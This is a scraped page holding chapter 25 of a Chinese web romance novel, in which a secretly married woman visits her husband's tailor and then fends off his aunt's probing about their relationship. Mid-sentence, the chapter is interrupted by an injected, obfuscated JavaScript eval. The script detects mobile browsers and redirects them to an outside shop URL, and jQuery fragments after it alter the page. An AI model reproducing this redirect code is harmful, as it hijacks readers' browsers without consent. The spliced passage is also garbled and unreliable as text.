默认冷灰
24号文字
方正启体

25. 了解

作者:茉月潮本书字数:K更新时间:
    买什么衣裳?


    难道是我最近刷他的卡,刷得少了?


    也没少刷哇,起码吴经理那会儿使唤我去准备材料,加班回家后每个网购平台的购物车都被我清空了。


    严承桉这几天的短信通知应该很热闹才对。


    他攥着我的手往前走,人行道旁落叶纷纷扬扬,带来一阵又一阵冷风。


    约摸走过一两公里,拐过路口,走进间素净店面里。


    店里明亮得很,有个头发斑白的老太太,坐在裁缝桌前划线。


    我仰头看看:“这是……”


    店里挂着的成衣不多,但唯独穿在模特身上的那件,却是肉眼可见的细致精美。


    “承桉啊,好久没来了吧?”老太太虽然戴着老花眼镜,眼神倒锐利得很,余光一瞥就知道来人是谁,手上动作不停,“来做衣服?”


    承桉?我惊讶地望他一眼,难道老太太也是他家长辈?


    严承桉附在我耳边道:“我从小到大的衣服,大多都在这儿定做的。”


    我恍然点头,从小到大,那是很熟悉了。


    真如阿姨所说,他成长时期父母都不在身边,恐怕这位定做衣裳的裁缝,反倒是对他的成长最熟稔于心的人。


    老太太问:“是不是又长高了?”


    严承桉语气无奈:“梅姨,我都快三十了。”


    “哎呦,你还知道自己快三十了?”梅姨掸了掸布料上的粉笔灰,“再不努力些,年轻姑娘都看不上你喽!”


    待梅姨放下手中工具,转过身来:“这是……”


    “我太太。”


    梅姨又是“哎呦”一声:“是要办婚礼了?正好,我最近收了块布料,特好看。”


    我心一沉。


    婚礼?


    严承桉连婚姻关系都不肯对外说,打算办婚礼就怪了。


    除非他的桉颂出现什么问题,要通过炒作自身婚恋关系来博关注。


    不过若是走到那一天,恐怕严承桉宁愿破产。


    我低下头,默不作声地往旁边移开半步。


    严承桉瞥过我一眼,撒谎不脸红:“还在看良辰吉日。”


    谁知道他的良辰吉日是十年后还是百年后。


    说罢,他跟梅姨说了什么,老太太取下模特身上的那件米色大衣,对我道:“姑娘喜欢吗,试试吧?”


    刚进店里,我就在看这件了。


    我接过,解下严承桉那件又厚又长的大衣,才往身上套。


    浅米色本是容易显胖,可偏偏缝制它的人手艺极好,一切剪裁都勾勒出身形,反倒衬得皮肤白皙许多。


    穿着西服套装时,镜子里的人像个苦哈哈的打工人。


    穿上这身大衣,脸色都奇迹般地红润起来。


    我被惊艳得左右打转,梅姨眼睛一眯,指头压下来:“肩膀不贴,腰线大了点,还有胸围……”


    她啧啧几声:“承桉,你量得不准呢……”


    “啊?”我一头雾水。


    严承桉虚握拳头,掩唇轻咳:“那就再定一件量身的。”


    说罢,他眼神游移,轻飘飘道:“免得旁人都以为……我亏了你。”


    我撇撇嘴,收紧了新到手的羊绒大衣,对着镜子左右欣赏。


    什么旁人,一共也没几个旁人知道。


    等量完尺寸出来,梅姨还向我问了句:“婚期定在什么时候?”


    我哑然,等严承桉哪天大发慈悲将婚事昭告天下,恐怕我早攒够积蓄逃之夭夭了。


    “他工作忙,”我礼貌笑笑,“再看吧。”


    严承桉站在灯光下看过来,脖子上那些碍眼的红色斑点,已在药物作用下消除得差不多了。


    心头秋霜在短暂融化后又凝结起来,我客客气气地道别,相伴在严承桉身侧,一路上没再多言。


    等再回到老宅,庆祝的仪式也都结束了,桌上还专门留了些蛋糕和凉菜。


    大伯先行离开,阿姨还坐在大厅内和严母对饮红酒聊天,电视屏幕里播放着几十年前的老剧,字幕都是繁体的。


    “回来啦?”还是阿姨眼尖,虽喝了酒,但眼神清醒得很,“哎呦,去哪儿约会了小承桉?”


    严承桉脱下大衣:“公司有点急事,叫她出来顺便帮个忙。”


    又撒谎。


    我不屑地暗地哼哼,跟着放好了新买的外套,就被严母叫过去吃水果。


    才走近了坐下,阿姨就递了果子过来,眼神上下打量。


    “承桉还说不是偷跑出去约会,”她意有所指地笑,“霈菱呐,你知不知道阿姨年轻的时候是干什么的?”


    我往嘴里塞了颗樱桃:“我听说,您以前是做时尚行业的。”


    一段时间没见,阿姨那电光蓝的头发就换成了玫粉色。


    实在是新潮。


    “不错不错,阿姨以前学过调香,这鼻子呀……”她转过头,看向杵在客厅里的严承桉,故意说得更大声。


    “对香——味儿——”阿姨和严母对视一眼,回过头来跟我挑挑眉毛,“可是非常灵敏的哦。”


    我听得脊柱骨都直了。


    樱桃果肉咽下,剩个核在口中,这时吐也不是,咽也不是。


    也不记得自己究竟跟严承桉在院子里抱了多久,竟连香水都腌入味了。


    “阿姨哪儿的话,”我目移扮乖,“家里的洗衣香氛,一直是木质香。承桉喜欢的。”


    阿姨噗嗤一笑:“我可没说是什么香喔。”


    一句话闹得我面上发红,严母挥挥手:“人家年轻人脸皮薄,谁都跟你似的。”


    阿姨这才作罢:“好了好了不说,看电影。”


    她找了个最近时兴的爱情片,从头开始看。


    严承桉似乎被母亲叫到隔壁书房去了,阿姨就跟我待在客厅里,就着电影寒暄闲聊。


    这样的社交对我来说实在是个负担,我绞尽脑汁地延伸话题,紧张得好比在毕业答辩,令人身心俱疲。


    我忍不住想如果严承桉在这里就好了,他一定能轻而易举地同阿姨交谈,把那些我不知道怎么回答的话都撇开。


    “其实承桉的性子是有些古怪,喜欢什么非要反着来,”阿姨看到电影上演着主角相遇,忽然有感而发,“不过看你跟他感情好,他应该不这样吧?”


    我跟严承桉闪婚的内情也没多少人清楚,他父母对外都说是相恋已久的情侣,从校服到婚纱,描绘得水到渠成。


    “他性格挺好的啊,”除了有时候爱说话噎人。


    “很照顾我,”金钱上。


    “也很体


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108692|194408||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    贴。”今天就体贴了两次。


    “那就好,那就好。”阿姨呵呵地笑,“其实他这性子,也跟我姐他们有关系。”


    我顺手倒了杯花茶:“什么呀?”


    “早年忙着工作,也不怎么带他,放住宿的学校里养着,节假日才放出来看一眼。”


    “平时呢,我有空的话就去看看,隔着个铁栅栏给他送点好吃的好玩的——跟探监似的。”


    “可怜呐,一开始还眼巴巴地看着我,问‘妈妈什么时候来?’……后来就不问了,寒假接出来,过年的时候一个人坐在角落里看书,爸妈给什么他都说不要。”


    “你说,这大人都知道,小孩子闹别扭嘛——他心里越是想,越是不敢表现出来。”


    说着,阿姨还从手机里翻出个视频,古早像素里,一个穿着小西装的男孩盘腿坐在办公椅上。


    视频里有大人往桌上给他送果子,送红包,送玩具。


    他面不改色,眼神始终紧盯着手里那本《一年级教材全解》,嘴里重复着三个字:


    “我不要。”


    脸上明明带着婴儿肥,却是一脸严肃的样子。


    我被逗得想笑,抿抿唇才道:“这是……承桉小时候?”


    “对啊,哎呦太好玩了,”阿姨说,“二十来年我换了多少手机相机,就是要把视频存下来,给他未来媳妇看。”


    这个未来媳妇,指的是我咯。


    如果我和严承桉是相爱伴侣,那还真是件温馨的事。


    和此生挚爱的亲人一起翻看他小时候的模样,分享过去的回忆,创造当下的幸福,迈向共同的未来。


    简直美好得像游戏才能写出的剧情。


    阿姨期待的是将来会有个真心爱他的姑娘看到这些,可惜我不是。


    我只能扯着嘴角笑,指了指屏幕:“诶,桌上那个玩具是什么,好可爱哦。”


    阿姨的话题顺利被带走:“是我姐给他买的……什么勇士什么奥特曼的,我不懂。”


    “不过,承桉他这时候嘴上说着不喜欢,但是后来呀……”


    “我姐他们回去工作那两天,承桉抱着玩具,一边哭一边要藏进保险柜里,碰都不让别人碰一下。”


    “我就跟他说,你喜欢的话就跟爸爸妈妈直说,他们肯定会给你买更多——他就不说话,抹抹眼泪看书去了。”


    “当时我就想,这么别扭的性子,长大以后怎么得了哦……”阿姨拍拍我的手背,“还好你们了解得深,有感情才好。”


    我笑得脸有点僵,只好装作羞赧,微微低下头。


    了解……也没有很深吧。


    我是一句话都说不出口了,呆坐在沙发上,感觉浑身关节都僵硬起来。


    严承桉也太不够意思,明知我跟他家里人也不熟,还把我一个人丢在这龙潭虎穴。


    等他哪天沦落到我手里,也要把他丢在客厅里跟我的亲朋好友们相处,自己一个人溜之大吉。


    哼,看他到时候怎么焦头烂额!


    才想着,有人在身后叫我:


    “霈菱。”


    我回头望去,却不是期盼中前来救场的严承桉。


    而是他的母亲,此刻笑意盈盈的。


    “妈跟你商量件事,承桉说就听你的意思了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)